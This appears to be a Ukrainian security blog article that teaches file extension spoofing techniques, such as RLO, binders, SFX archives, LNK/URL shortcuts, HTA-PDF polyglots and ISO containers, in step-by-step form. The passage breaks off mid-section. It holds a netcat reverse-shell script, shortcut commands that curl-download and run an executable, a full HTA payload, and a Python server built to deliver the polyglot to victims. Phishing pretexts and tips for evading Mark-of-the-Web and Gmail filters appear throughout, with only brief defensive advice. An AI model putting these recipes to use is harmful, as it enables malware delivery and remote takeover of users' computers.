File Extension Spoofing

Техніки маскування файлів: File Extension Spoofing

На цей матеріал мене надихнули відео одного хакера, який віртуозно демонструє десятки шляхів підробки та доставки шкідливих файлів на комп’ютер жертви. Хоча більшість способів націлені на застарілі версії ОС Windows, а деякі з них спрацьовують лише за певних обставин та умов, сам вектор атак File Spoofing є перспективним й критично важливим в кібербезпеці. Його широко застосовують професійні APT/Ransomware групи для зламу та компрометації ІТ-систем по всьому світу. Тож я вирішив детальніше зупинитися на цій темі. Проексплуатувати, дослідити та описати деякі техніки, інструменти, способи атак і методи захисту.

Техніки маскування файлів

Маскування – це процес маніпуляції електронними ресурсами так, щоб видавати шкідливі і модифіковані за легітимні, законні та безпечні – для кінцевих користувачів ПК, систем, інструментів безпеки, з метою їх подальшої експлуатації і компрометації.

В системі класифікації загроз американського фреймворка з кібербезпеки MITRE ATT&CK техніки маскування упорядковані за умовною назвою “Masquerading” та ідентифікатором T1036. Їх налічують більше 10-ти видів. Вони пов’язані не лише з файлами, а й різними іншими цифровими об’єктами і активами.

MITRE ATT&CK Masquerading

На сайті MITRE на вкладці “Procedure Examples” можна ознайомитись з джерелами та коротким описом сценаріїв атак з використанням маскування, якими користуються реальні хакерські Advanced Persistent Threat групи:

У цій статті ми розглянемо лише техніки, які стосуються спуфінгу розширень файлів. Дамо детальний опис та проілюструємо практичними прикладами. Також дамо поради як захиститись.

У якості тестового середовища будемо використовувати дві віртуальні машини на базі операційної системи Windows 10 – комп’ютер “атакуючого” і комп’ютер “жертви”. На атакуючому готуватимемо шкідливе навантаження, на жертві – відкривати і тестувати його.

Окрім стандартних засобів, будуть задіяні деякі додаткові утиліти.

Подвійне розширення (Double Extension)

Техніка подвійного розширення – один з найстаріших і найпростіших способів маскування розширень файлів. За замовчуванням, в Windows присутня опція під назвою “Hide extensions for known file types” , вона приховує розширення для зареєстрованих форматів файлів, наприклад exe. Це дає можливість хакерам зловживати і підробляти різні розширеннями файлів.

На жаль, більшість користувачів не здогадуються як негативно ця опція впливає на їх безпеку. Її потрібно негайно відключити у налаштуваннях папки провідника Windows. Це можна зробити через гарячу клавшу Win + R , а потім набрати і виконати команду control folders.

Отже, спробуємо проексплуатувати цю техніку. Візьмемо на комп’ютері “атакуючого” будь-який виконуваний exe-файл, наприклад putty.exe і переіменуємо його, просто додавши ще одне розширення, наприклад putty.pdf.exe:

По замовчуванню, у цього файла іконка утиліти PuTTY, але ми змінимо її на іконку pdf-файлу Adobe Acrobat з допомогою додатку Resource Hacker (або Icon Extract):

Підказка: Іконки в форматі ico для Windows у різних розмірах (16×16, 32×32, 48×48) можна завантажити з даного репозиторію.
Див. також іконки Adobe Acrobat, Microsoft Word.
Для просунутої роботи з файлами .ico рекомендую додаток IcoFX.

На замітку: У середовищі Arch Linux іконку з будь-якого виконуваного файлу можна витягнути з допомогою команд:

sudo pacman -S icoutils
wrestool -x -t 14 notepad++.exe > notepad++.ico – витягнує іконки.
icotool -x notepad++.ico – створення різних форматів іконок.

Як бачимо, з новою іконкою Windows відображає цей виконуваний файл начебто легітимний PDF, однак якщо клікнути по ньому два рази – він виконається і запуститься Putty:

Тепер нам треба його передати на комп’ютер “жертви”. Якщо пересилати стандартними способами – через поштовики, файлові обмінники або розмістити десь на сервері у чистому вигляді – він буде заблокований, і крім того при скачуванні покажеться його подвійне розширення .pdf.exe. У такому випадку, ми скористаємося архіватором і помістимо файл в ZIP-архів, який “жертві” треба буде всього лиш завантажити та розархівувати.

Сам архів теж не варто пересилати поштою – по-перше, це підозріло (середньостатистичний користувач швидше вірус з сайту, аніж з вкладення листа), а по-друге сучасні email-клієнти, такі як Gmail і Ukr.net, давно навчилися перевіряти вміст таких архівів і файлів. Тому передавати його найзручніше через публікацію на якомусь фішинговому сайті (через URL-посилання) або веб-сервері (відкритий лістинг директорій).

Щоб не витрачати час на розгортання окремого VPS-сервера, ми скористаємося класичною зв’язкою Python HTTP-Server + NGROK:

  • python3 -m http.server 8000 – команду потрібно запустити в директорії з файлом на своєму “атакуючому” комп’ютері, що запустить локальний веб-сервер.
  • ngrok http 127.0.0.1:8000 – через проксі NGROK локальний веб-сервер отримає доступ в інтернет і стане публічним сервером.

В результаті NGROK надасть нам URL-посилання на веб-сервер. Відкриваємо його на машині “жертви” у будь-якому браузері і просто завантажуємо архів:

Як бачимо, файл у своєму чистому вигляді на веб-сервері видає своє подвійне розширення, а тому передача в архіві є найкращим рішенням.
На локальному сервері атакуючого комп’ютера ми бачимо, що Ngrok підсвітив факт завантаження жертвою zip-архіву.

Увага: Браузери останніх версій Google Chrome перевіряють вміст архівованих файлів з подвійним розширенням й блокують їх.

Тепер жертві залишилося лише розпакувати архів та відкрити файл. Оскільки exe є відомим розширенням файлів, Windows приховає його і у висновку користувач побачить лише putty.pdf. Швидше за все він подумає, що це звичайний документ і спробує відкрити. Однак як тільки він клікне по ньому два рази – файл виконається як екзешник… В реальному сценарії замість Putty буде RAT (Remote Access Tool). Ось і все.

Увага: Якщо архів не розпаковувати, а попередньо переглянути в нових версіях WinZip або WinRar, то вони видадуть подвійне розширення файлу! Щоправда, старі версії його можуть не показувати. Так що успішність цієї атаки багато у чому залежить від пильності та уважності самого користувача.

Також у деяких оновлених версіях Windows 10, файєрвол Defender SmartScreen блокує миттєве виконання подібних файлів, запитуючи підтвердження. Однак, за статистикою більше половини користувачів користуються ламаними збірками Windows, не встановлюють оновлень й вимикають файєрвол.

RLO (Right-to-Left-Override)

Ще одна старенька техніка, яка полягає в використанні символу таблиці Юнікоду U+202E – Right-to-Left-Override (RLO). Його можна скопіювати й вставити в назву файлу. Він невидимий, але з того місця, куди вставляється, символи йдуть у зворотному напрямку (справа наліво). Для роботи з Unicode можна використати утиліту GNOME Character Map в Linux або Unicode Input в Windows.

GNOME Character Map

Наприклад, візьмемо файл reflfdp.exe і вставимо символ RLO перед ‘fdp’ та збережемо зміни. Файл почне відображатися як документ reflexe.pdf. Хоча, насправді тип файлу не змінився, він продовжує бути виконуваним exe. Але різницю можна помітити лише в HEX-редакторі. Навіть у командному рядку він відобразиться в зміненому порядку. В цьому й відмінність техніки RLO від Double Extension.

Видозмінення назви файлу після застосування RLO-символу.
RLO Windows 10
Застосування RLO спуфінгу в операційній системі Windows 10
Як бачимо, розширення відображається в зміненому порядку навіть у командному рядку. Через що можна подумати, що це справжній PDF.
Лише перегляд вмісту файлу в HEX-редакторі показує, що наспавді це не PDF, а виконуваний файл SSH-менеджера PuTTY.

Таким чином, звичайному користувачу важко щось запідозрити. Хакери по старій звичці змінювали іконки, пакували в ZIP-архів і через техніки фішингу доставляли “жертві”. Розширення можна підміняти які завгодно. Наприклад, щоб підмінити jpg вводимо gpj, avi – iva. Цікаво, що спершу навіть популярні архіватори відображали такі файли в модифікованому вигляді. Існують вже готові утиліти для автоматизованого спуфінгу файлів, наприклад Extension Spoofer, Celesty Binder, QIcon Changer, Image to ICO.

Іноді зловмисники попередньо проводять ще одну маніпуляцію – відкривають ZIP-архів з модифікованим файлом у HEX-редакторі (наприклад, WinHEX) та змінють там справжнє розширення файлу з exe наприклад на pdf. Таким чином спуфінг відбувається вже на рівні архіватора.

WinHEX change file extension
Підміна розширення архівованого файлу в редакторі WinHEX
Так файл зі зміненим розширенням через WinHEX зображається в архіваторі WinRAR.

Однак, сьогодні ця техніка вже не надто актуальна. Вразливість CVE-2025-6218 виправлена у багатьох архіваторах, а просунуті антифрауд/антивірус системи разом з вбудованим Windows Defender’ом навчилися подібні хитрощі виявляти. Хоча, якщо користувач не перевірить вміст архіву і розпакує його, після чого запустить файл – атака спрацює.

RLO in WinRAR
Сучасний архівтор WinRAR підказує, що розширення файлу модифіковане з допомогою RLO-символу.

File Binding

Цей метод більш креативний і дієвий, об’єднує у собі усі попередні техніки. Біндинг – це процедура об’єднання кількох файлів в один. Ми спробуємо об’єднати троян з картинкою у вигляді одного виконуваного файла. В ролі “трояна” використаємо звичайний putty.exe. Хоча це може бути що завгодно, наприклад RAT.

Для склейки-біндингу нам знадобиться додаток Celesty File Binder. Запускаємо його, перетягуємо в нього два файли – виконуваний exe і картинку, яка стане приманкою. Переходимо в меню Binder -> Configure stub і перевіряємо налаштування. Тут можна вказати формат вихідного розширення (exe, bat, com, scr, pif). По замовчуванню тут стоїть EXE, залишаємо все без змін, тиснемо ОК і повертаємося в меню Binder -> Build final stub. Задаємо назву файлу, наприклад ‘my_photo’ і запускаємо операцію біндингу. В результаті отримаємо єдиний exe-файл при виконанні якого: а) відкриється зображення; б) запуститься на виконання putty.exe.

ЧИТАЙТЕ ТАКОЖ:  Як провести зовнішній аудит безпеки веб-додатків? Алгоритм і методика роботи.
Celesty File Binder
Біндинг файлів в додатку Celesty.
Execution of binding file.
Запуск спареного exe-файлу.

Але нам потрібно ще цей файл замаскувати і передати жертві. Наприклад під зображення. Для цього скористаємося стандартними техніками-процедурами RLO Spoofing та Icon Spoofing. Їх можна здійснити як вручну, так й з допомогою додатків Extension Spoofer та QIcon Changer (також див. вище).

Отже, запускаємо Extension Spoofer і обираємо файл, який потрібно заспуфити – my_photo.exe. Вказуємо в додатку необхідне розширення для нього (spoof) та вихідне розширення (source). Вводимо назву файлу для підстановки RLO, наприклад my_photo_s. Тиснемо Generate. І на виході отримаємо підроблений файл зображення my_photo_sexe.png (назву можна розіграти як завгодно).

Extension Spoofer
Спуфінг розширень файлів в додатку Extension Spoofer.

Залишилося тепер змінити для файла іконку. Це можна зробити з допомогою QIcon Changer. Але іконку слід підготувати заздалегідь. Наприклад, візьмемо файл зображення і переконвертуємо його в ICO, а тоді з допомогою QIcon Changer модифікуємо в файл. Таким чином, приманка стане більш реалістичнішою і користувач захоче клікнути по файлу, щоб відкрити його.

Image to ICO converter
Створення іконки із зображення
QIcon Changer
Зміна іконки файлу з допомогою QIcon Changer.

Шкідливий файл готовий. Запаковуємо його в ZIP, заливаємо на файлообмінник (або іншим способом) і пересилаємо жертві. Після того як вона клікне по ньому два рази – exe-файл виконається.

File Binding Attack
Результат атаки File Binding на комп’ютері жертви.

SFX Archive

Ця атака побудована на можливостях архівтора WinRAR, який дозволяє створити саморозпаковуючі SFX-архіви, в які можна упакувати різні файли, прописати тихий сценарій їхнього розпакування і зберегти це все в один єдиний EXE-файл.

Отже, збираємо файли:

  • calc.exe – виконуваний файл, умовно “троян”;
  • jhonny_depp.png – файл зображення, умовно “приманка”.

І додаємо їх в архів WinRAR. Ставимо галочку створити SFX-архів “Create SFX-archive” і бачимо, що розширення файлу змінилося на exe. Можемо задати будь-яке ім’я. Переходимо тепер на вкладку Advanced, де клікаємо по кнопці “SFX options”.

Тут потрібно задати декілька властивостей:

  • На вкладці “Setup” в полі Run after extraction необхідно прописати запуск файлів, для цього просто вказати ім’я файлів в необхідній послідовності, кожен з нового рядка.
  • На вкладці “Modes” ставимо режим “Hide all” (тихе розпакування).
  • На вкладці “Updates” ставимо опцію “Overwrite all files”, що означає перезапис всіх файлів, якщо користувач повторно вирішить їх розпакувати.
  • На вкладці “Logo and icon” обираємо іконку зображення-приманки.

 

Далі тиснемо ОК і ще раз ОК та отримуємо файл SFX-архіву з іконкою зображення та розширенням EXE:

SFX EXE
SFX-архів з розширенням EXE.
Spoofing file extension
Модифікований SFX-архів під файл зображення JPG.

Тепер залишилося цей файл модифікувати під зображення й відправити жертві. До речі, метод з SFX можна використовувати для різних інших ситуацій, все залежить від фантазії.

Інший сценарій:

  • Хакер створює біндинг-файл або SFX-архів з такими параметрами (їх можна додати скопом):
    • Path=C:\tools
      Setup=shell.cmd
      Silent=1
      Overwrite=1
    • Задає інтригуючу назву, наприклад: contract.exe
    • За потреби, в якості іконки вказує ту, яку необхідно підробити. Наприклад, pdf-документ.
  • Архів містить файли:
    • nc.exe (утиліта Netcat для Win32)
    • shell.cmd з кодом:
@echo off
start C:\tools\nc.exe X.X.X.X XXX -e C:\Windows\System32\cmd.exe
start notepad.exe %1
  • Доставляє жертві на комп’ютер будь-яким способом – через фішинг, соціальну інженерію або іншими методами.
  • Жертва розпаковує SFX і shell розгортається в системі та під’єднується до атакуючої машини.
  • Хакер через nc -lvnp XXX або Metasploit отримує зворотній доступ до цільової системи.
  • Далі можна застосовувати різноманітні техніки закріплення в системі (Persistence).
Приклад успішно налагодженого шелу з ОС Windows 10

До речі, доставку файлів в Windows можна здійснювати і з допомогою ряду стандартних утиліт Windows, наприклад certutil.exe. Вони зібрані на сайті проєкту LOLBAS: Living Off The Land Binaries, Scripts and Libraries.

Certutil Downloading files in Windows
Завантаження файлів в Windows 7 через стандартну вбудовану утиліту Certutil

Схожий сценарій по розгортанню шелла був детально описаний в окремій статті. Інший спосіб продемонстрований в навчальних матерілах PentesterAcademy.

Примітка: В останніх комерційних версіях OS Windows файєрвол Defender має дивовижну здатність блокувати завантаження/виконання будь-яких підозрілих файлів з нестандартними розширеннями або нетиповим вихідним кодом. Іноді під блок потрапляють навіть цілком легітимні додатки. Аналогічно це роблять поштовики (Gmail/Ukrnet) і браузери, зокрема Chrome. Пробитися через такий захист звичайними хакерськими методами майже нереально. Але майте на увазі, якщо у вас старий неліцензійний Windows (2000/Me/XP/7) з неліцензійним софтом і відключеною системою безпеки – навіть школяру буде під силу отримати несанкціонований доступ до вашої системи! Рекомендація – використовувати тільки Linux.

MP3 Spoofing

Простенький спросіб, побудований на RLO Extension Spoofing і SFX Archive.

Беремо 2 файли – mp3 і exe. Додаємо їх в SFX-архів. Стандартно вмикаємо всі необхідні налаштування (тихий режим, перезапис, сценарій виконання, іконка mp3) і запаковуємо у вигляді exe-файлу.

Далі беремо і перейменовуємо цей файл, наприклад, в 1.scr – він автоматично змінить тип на файл скрінсейвера (заставка екрану).

Тепер застосовуємо RLO-техніку (користуючись додатком Unicode Input) і створюємо на його основі ще один файл з підробленим розширенням mp3:

copy 1.scr sa(RLO)3pm.scr

В результаті отримуємо файл sarcs.mp3. Тепер його можна передати жертві. Бажано це робити через веб-сервер або WebDav. Шляхів насправді як заманити жертву завантажити аудіофайл – безліч. Тому що довіра до них висока. Наприклад, можна запропонувати безкоштовно завантажити колядки.

При виконанні підробленого файлу – SFX-архів розпакується і виконається прописаний в ньому сценарій:

MP3 Spoofing
MP3 файл виконався і SFX-архів автоматично розпакував файли, один з яких – виконуваний.

LNK Shortcut

Цей тип маскування відноситься до технік Shortcut Modification (Модифікація лінків). Цікавий тим, що в ньому задіяний файл з розширенням – LNK, яке операційна система Windows приховує, додаючи лише невелику стрілку до іконки. Хакерам часто достатньо просто змінити іконку, щоб ввести користувача в оману. Шортлінки активно застосовуються в атаках різноманітних APT-груп. LNK-файли зазвичай розповсюджуються через вкладення електронної пошти або вбудовуються в стиснуті архіви. Під час виконання вони часто викликають довірені системні утиліти (LOLbins), такі як PowerShell, cmd.exe або mshta.exe, через що виконання корисного навантаження виглядає як легітимна системна активність.

Отже, спробуємо проексплуатувати дану техніку. Створимо папку, наприклад ‘Photos’. У ній ще одну – .system, але прихованого типу (вмикаємо чекбокс Hidden у властивостях папки). Це робиться для того, щоби приховати від користувача. В неї кладемо шкідливий файл, до прикладу, модифікований файл з біндингом – photos.exe.

Процедура зшивання файлів.
Hidden directory Windows
Створення прихованої папки Windows

У кореневій папці створюємо ярлик (через контекстне меню “Create shortcut link”) з посиланням на photos.exe, тобто застосовуємо Argument Injection – %COMSPEC% /c start "" ".system\photos.exe" або C:\Windows\System32\cmd.exe /c start "" ".system\photos.exe" в полі Target. Даємо йому відповідну назву, наприклад – ‘myphoto2020’. Переходимо у властивості ярлика – вилучаємо все, що знаходиться в полі “Start In” та змінюємо іконку на файл зображення (іконки лежать в %SystemRoot%\System32\SHELL32.dll). Додатково у полі “Run” можна також вказати Minimized, щоб вікно виконання команди (cmd) не вистрибнуло на увесь екран. Можна також перейменувати файл myphoto2020 в myphoto2020.jpg задля кращої “легітимності” – це не вплине на його функціональність.

 

Пакуємо папку ‘Photos’ в ZIP-архів та доставляємо жертві. Якщо вона розпакує і два рази клікне по файлу ‘myphoto2020’, то запуститься виконуваний файл photos.exe й ціль буде скомпрометована.

LNK Shortcut можна застосовувати з різними іншими техніками та ін’єкціями. Приклад сценарію:

  1. Створити ярлик, який мімікрує під звичайну папку і непомітно вантажить через Curl шкідливий файл: C:\Windows\System32\cmd.exe /c "curl -o "%TEMP%\putty.exe" "https://example.com/putty.exe" && start "" "%TEMP%\putty.exe"" або C:\Windows\System32\cmd.exe /c "curl -o "%TEMP%\putty.exe" "https://example.com/putty.exe" && start "" "%TEMP%\putty.exe" && explorer.exe "%USERPROFILE%\Pictures"" – автоматично переправляємо користувача в папку де по замовчуванню зберігаються зображення. Можна також створити приховану папку зі справжніми фото і після виконання команди переспрямувати в неї користувача.
  2. Доставити жертві з допомогою технік соціальної інженерії. Наприклад, застосувати Email Spoofing з текстом: “Скинув фотки з корпоративу, заціни”.
  3. Жертва вантажить, розпаковує архів, клацає по нібито папці з фотками і EXE-файл тут же вступає в дію.
Спосіб передачі файлу на комп’ютер жертви через поштовий сервіс.
Замаскований LNK під звичайну папку. Користувач думає, що він переходить в папку з фото. Натомість завантажується та запускається EXE-файл.

Цікаво, що у властивостях LNK Shortlink можна також налаштувати гарячу клавішу, яка починається з CTRL + ALT і таким чином призначити їй запуск шкідливого програмного забезпечення. Цей випадок був детально описаний в блозі хакера @V3ded.

Ще одну ефективну техніку із застосування OLE-об’єктів та LNK представив дослідник Віл Шредер на хакерській конференції Defcon 2016.

Примітка: Windows Defender постійно відстежує нові способи маскування та активно вдосконалюється. Спрацьовує також система захисту Mark-of-the-Web (MOTW), яка виявляє файли, котрі потрапили в цільову Windows-систему з іншого комп’ютера або через інтернет. Аналогічно працюють поштовики – система захисту GMAIL перевіряє вміст та блокує замасковані файли та зашифровані архіви. Вихід – шукати просунуті шляхи Bypass з використанням Red Team підходів.

Додаткові матеріали та інструменти по LNK Shortcut:

ЧИТАЙТЕ ТАКОЖ:  Безпека і анонімність в Facebook

Document Spoofing via Google Drive

З назви очевидно, що мова йде про спуфінг документів – .doc, .docx, .docm, .xls, .xlsx .pdf та інших. Можна задатись питанням, хіба це можливо? Так, можливо, якщо застосувати креатив. Це можна зробити завдяки функції перейменування файлів і кешування даних в Google Drive.

Отже, допустимо ми створили шкідливий файл і його треба переслати через Gmail? Беремо цей файл просто перейменовуємо на .doc або інший формат і завантажуємо в Google Drive. Увага, він відобразиться там з іконкою Microsoft Word! Тепер скористаємося функцією перейменування і просто повертаємо попереднє розширення. Але значок MS Word нікуди не зникне! Більше того, якщо ми приєднаємо його до листа, то файл дійде адресата з іконкою документа, який Gmail закешував.

Завантаження і перейменування EXE-файлів в Google Drive.
Cпуфінг документу MS Excel в поштовику Gmail. Як бачимо файл успішно відправився та був завантажений.
Приклад файлових розширень, які блокує поштовик GMail.
Схожий список заборонених розширень файлів діє в українському поштовику UKR.NET.

Примітка: Способи обходу працюють до певного часу, поки Google їх не вистежить і не вивчить. Якщо файли видадуться йому підозрілими, вони будуть заблоковані та позначені як небезпечні:

URL Shortcut Attack

Ще один тип файлів,схожий до LNK, який по замовчуванню дуже добре обробляє операційна система Windows.

До прикладу, відкриємо звичайний блокнот і створимо файл з кодом:

[InternetShortcut]
URL=http://rnicrosoft.com/update/windows10
WorkingDirectory=C:\Windows\System32
IconFile=C:\Windows\System32\shell32.dll
IconIndex=25

Як бачимо, код містить URL-адресу. Якщо клікнути по файлу 2 рази – Windows автоматично відкриє посилання у браузері. В даному випадку вказано фішинговий сайт, який мімікрує під центр оновлення Microsoft. Замість нього можна вказати що завгодно. Після відвідування URL-адреси можливі такі вектори атак:

  • А) деанонімізація (веб-сервер прийме HTTP-запит і відобразить у логах детальну інформацію по фінгерпринту (IP-address, User-Agent. OS, Browser, Location);
  • Б) автозавантаження шкідливого файлу, зараження комп’ютера (троян) або браузера (стилер);
  • В) перехоплення конфіденційних даних, наприклад текст вводу користувача (кейлогер), його кукі і сесії, і т.д.

Зберемо файл як my_video.url. Можна задати йому будь-яку іншу назву задля легітимності, наприклад VID_20240715_123456 або MOV_43234324. Все залежить від задуму.

Windows 10 приховує розширення відомих файлів, що грає нам на руку. Додамо подвійне розширення: my_video.mp4.url. Тепер змінимо стандартну іконку на іконку відео у властивостях файлу (можна обрати іншу іконку, в залежності від того що саме імітуємо):

Модифікація файлу з розширенням .url
URL shortcut spoofing
Файл з розширенням url замаскований під відео MP4.

Тепер застосовуємо спуфінг файлу через Gmail і відправляємо жертві. Перейменовуємо файл (бажано це робити в архіваторі WinRAR) на my_video.mp4, завантажуємо на Google Drive, має з’явитися стандартна іконка MP4 і тоді повертаємо файлу його оригінальне розширення .url, тобто my_video.mp4.url.

Далі створюємо нового email-листа, прикріплюємо файл з Google Диску, додаємо претекст й відправляємо адресату:

Користувач успішно отримає листа з файлом розширення .url, адже він не заборонений поштовиками. За логікою, юзер завантажить його, подумає, що це справжнє відео, клікне по ньому й відкриє, що в результаті автоматично приведе його на зловмисний сайт.

Цю атаку можна розіграти по різному – змінити файл, доопрацювати або адаптувати під інші сценарії. Ось приклад реального багатоланцюжкового multi-stage сценарію, який дослідили спеціалісти компанії Proofpint в серпні 2024 року:

  1. Зловмисники проводять цільову фішингову атаку (spread phishing). На корпоративну пошту жертви відправляють посилання на завантаження ZIP-архіву. Для приманки використовують соцінженерію.
  2. Жертва завантажує і розпаковує ZIP, бачить там замаскований під довірений документ файл з розширенням .URL, який більшість антивірусів не вважають зловмисним. Клікає по ньому, щоб відкрити. Файл містить шлях до ще одного шкідливого замаскованого файлу з розширенням .LNK. Але не через стандартний HTTP(S)-протокол (браузер), а по протоколу WebDAV, який Windows підтримує “з коробки” і може відображати напряму у Провіднику!
  3. Таким чином, URL-файл напряму через WebDAV відкриває в системі жертви шкідливий файл .LNK. Він виконався й завантажив CMD-скрипт на розгортання портативного Pyhon-інтерпретатора та інших скриптів. В результаті, в систему поетапно підвантажилось шкідливе програмне забезпечення типу RAT.

Вміст файлу з розширенням .URL:

[InternetShortcut]
URL=\\xxxxxxxxxxxxx.trycloudflare.com@SSL\DavWWWRoot\malicious.lnk

 

Бачимо, що хакери в ролі “даунлоадера” використали популярний безкоштовний сервіс Cloudflare Tunnel, який без реєстрації може будь-яку локальну папку транслювати в інтернет як WebDAV-сервер. Власне, для цього хакери попередньо встановили додаток RClone і з його допомогою в своєму Windows запустити локальний WebDAV сервер (подібно HTTP-серверу в Python):

  • rclone.exe serve webdav "C:\Users\windows\Share" --addr :8080
  • cloudflared.exe tunnel --url http://localhost:8080

 

Shortcut URL file attack
Схема багатоланцюкової атаки з використанням файлу Shortcut .URL

PDF Spoofing via HTA-polyglot

Дуже хитрий і підступний спосіб, який середньостатистичному користувачу важко буде розгадати. Він потребує певних умінь та знань збоку хакера. Базується на побудові PDF, веб-серверних аплікаціях, техніках File Polyglot та Double Extension.

Отже, хакер бере 2 файли – PDF і HTA.

PDF повинен бути легітимним, бажано створити його в MS Word або Google Docs. Файли створені вручну можуть відхилятися браузерами!

HTA-файл (HTML Application) є виконуваним й міститиме шкідливе навантаження, яке в тихому режиі запустить калькулятор calc.exe (або будь-який інший файл):

<html>
<head>
<title>Employee Enrollment</title>
<hta:application 
    id="oHTA"
    applicationname="EnrollmentApp"
    border="thin"
    borderstyle="normal"
    caption="yes"
    icon=""
    maximizebutton="yes"
    minimizebutton="yes"
    showintaskbar="no"
    singleinstance="no"
    sysmenu="yes"
    version="1.0"
    windowstate="minimize"/>

<script language="VBScript">
    Sub Window_OnLoad
        ' Сховаємо вікно HTA, щоб користувач не бачив "сміття" з PDF заголовків
        window.resizeTo 1, 1
        window.moveTo -2000, -2000
        
        ' Виконуємо корисне навантаження
        Set objShell = CreateObject("WScript.Shell")
        ' Запускаємо калькулятор як PoC
        objShell.Run "calc.exe"
        
        ' Закриваємо вікно HTA, щоб не викликати підозр
        window.close()
    End Sub
</script>
</head>
<body>
<!-- Тут міг би бути контент, але ми його ховаємо -->
</body>
</html>

Тепер необхідно об’єднати обидва файли PDF і HTA в один, створивши файл-поліглот. Це можна зробити звичайною командою Linux:

cat source.pdf payload.html > "resume.pdf                                                                                                                          .hta"

Зверніть увагу на розширення – воно подвійне, але перед .hta вказано 100 пробілів. Windows не взмозі обробити таку довжину, просто обрізає і показує як pdf файл (за умови, що у користувача примусово відключена опція приховування відомих розширень):

Далі потрібно розгорнути локальний веб-сервер на Python, щоб передати жертві цей файл. Але увага: він повинен відкриватися у браузері саме як PDF, а завантажуватись – як HTA! Інакше нічого не вийде.

Щоб захостити файл запускаємо локальний веб-сервер на Python python3 server.py з наступним кодом (до прикладу):

import http.server
import socketserver
import os
import urllib.parse

# Твої налаштування
HOST = "0.0.0.0"
PORT = XXXX
PUBLIC_IP = "XX.XX.XX.XX"

# Шукаємо файл-поліглот у папці скрипта
# (Той, що починається на enroll і закінчується на .hta)
target_file = None
for f in os.listdir("."):
    if f.startswith("resume.pdf") and f.endswith(".hta"):
        target_file = f
        break

if not target_file:
    print("ERROR: Файл 'resume.pdf ... .hta' не знайдено у папці!")
    exit()

print(f"[*] Payload loaded: '{target_file}'")

class RedTeamHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Очищаємо шлях від параметрів (якщо будуть) і декодуємо
        request_path = urllib.parse.unquote(self.path)

        # === ГОЛОВНА ЛОГІКА ===
        # Ми реагуємо саме на URL із закінченням .pdf
        if request_path == "/CV_Angelica_Astrom.pdf":
            try:
                with open(target_file, 'rb') as f:
                    file_content = f.read()

                self.send_response(200)
                
                # 1. Змушуємо браузер думати, що це PDF (для відображення)
                self.send_header('Content-Type', 'application/pdf')
                
                # 2. Підсовуємо "зле" ім'я для збереження.
                # inline = показати в браузері.
                # filename = ім'я, яке буде при збереженні (з пробілами та .hta)
                self.send_header('Content-Disposition', f'inline; filename="{target_file}"')
                
                self.send_header('Content-Length', str(len(file_content)))
                self.end_headers()
                
                self.wfile.write(file_content)
                print(f"[+] Victim accessed PDF. Serving malicious file to: {self.client_address[0]}")
                return
            except Exception as e:
                print(f"[-] Error sending payload: {e}")
                self.send_error(500)
                return

        # Якщо запитують favicon або щось інше - ігноруємо або 404
        self.send_error(404, "File not found")

print(f"[*] Server Started on {PUBLIC_IP}:{PORT}")
print(f"[*] Link for victim: http://{PUBLIC_IP}:{PORT}/CV_Angelica_Astrom.pdf")

socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer((HOST, PORT), RedTeamHandler) as httpd:
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        httpd.server_close()

Як бачимо, для коректного відображення файлу-поліглоту в браузері, ми застосували на веб-сервері спуфінг з підміною ім’я та заголовками Content-Type/Content-Lenght. Python-сервер налаштований таким чином, щоб бути доступним на відповідному хосту (IP-адреса) та порту. В результаті цих маніпуляцій, браузер проігнорує небезпечну HTA-частину файлу, яка містить в файлі і відрендерить тільки звичайний PDF:

Якщо користувач завантажить цей файл на комп’ютер, то він отримає свою справжню назву та подвійне розширення resume.pdf.(пробіли).hta. Але за рахунок великої кількості символів пробілів користувач не побачить справжнього розширення .hta і система покаже йому просто resume.pdf (якщо тільки він не зверне увагу на тип):

ЧИТАЙТЕ ТАКОЖ:  OWASP Top 10: аналіз вразливостей веб-додатків

Після виконання файлу запуститься HTA-пейлоад:

Незважаючи на те, що в останніх версіях Chrome з Windows Defender імовірно заблокує цю атаку, її можна розвивати й адаптувати під різні сценарії. Вектор PDF Spoofing на сьогодні надзвичайно перспективний через масову популярність і довіру до PDF-файлів як збоку користувачів, так й систем.

ISO Container Spoofing

Ще один простий, зате дієвий спосіб доставки різних файлів на комп’ютери жертви. Експлуатує насамперед довіру до файлів образів ISO і слабкі налаштування безпеки Windows. Його як “точку входу” активно застосовувало російське хакерське угрупування TA505:

TA505 Attack Flow
Схема атаки, яку застосовували TA505. ISO-образ містив LNK-файл, який через довірену службову утиліту msiexec.exe вантажив MSI-інсталятор зі шкідливим програмним забезпечення ServHelper RAT, базоване на технології .NET.

Крок 1. Маскуємо EXE під PDF:

  • putty.exe виконуватиме роль шкідливого файлу (замість нього може бути і RAT). Змінюємо йому іконку (див. вище), перейменовуємо і додаємо подвійне розширення, наприклад: new_price2026.pdf.exe. “Exe” автоматично приховає Windows з налаштуваннями по замовчуванню.

Крок 2. Пакуємо його з допомогою Python-утиліти PackMyUpload в ISO-файл:

  • PackMyPayload.py new_price2025.pdf.exe znyzhka2026.iso -v

Утиліта PackMyPayload корисна тим, що її можна використовувати для пакування різних корисних навантажень у вихідні контейнери, з метою уникнути прапорця “Mark-of-the-Web” (MoTW). Підтримуються такі формати: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX. Можна пакувати як одиночні файли, так і цілі директорії.

PackMyPayload PoC
PackMyPayload PoC

Крок 3. Розгортаємо локальний веб-сервер: python -m http.server XX, щоб передати файл жертві.

Юзер вантажить ISO, системи безпеки пропускають цей тип файлів, бо довіряють йому. Як тільки користувач клікає по ISO – файл автоматично монтується як DVD-привід і відкривається директорія з нібито PDF-файлом, який позбавлений маркування MoTW. Юзер клікає по ньому, щоб відкрити – шкідливий файл виконується, а система компрометується:

ISO spoofing PoC
Демонстрація атаки з маскуванням з використанням фальшивого ISO

Цю атаку аналогічно попередній можна розробляти, модифікувати, урізноманітнювати під різні умови, побажання, засоби та способи. Наприклад, можна додати автозавантаження через autorun.inf. Можна додатково замаскувати сам ISO-файл. Можна зробити біндинг або SFX-архів справжнього pdf-файлу зі шкідливим exe. Протестувати різні способи доставки, наприклад відправити по email на корпоративну пошту, через різні поштовики (Gmail/Ukrnet/Thunderbird/TheBat/Outlook). Все залежить від задумки і фантазії.

HTA-JPEG Polyglot

Ще одна техніка з файлом-поліглотом. Дуже примітивна, але дієва.

Беремо 2 файли:

  • photo.jpg – файл зображення
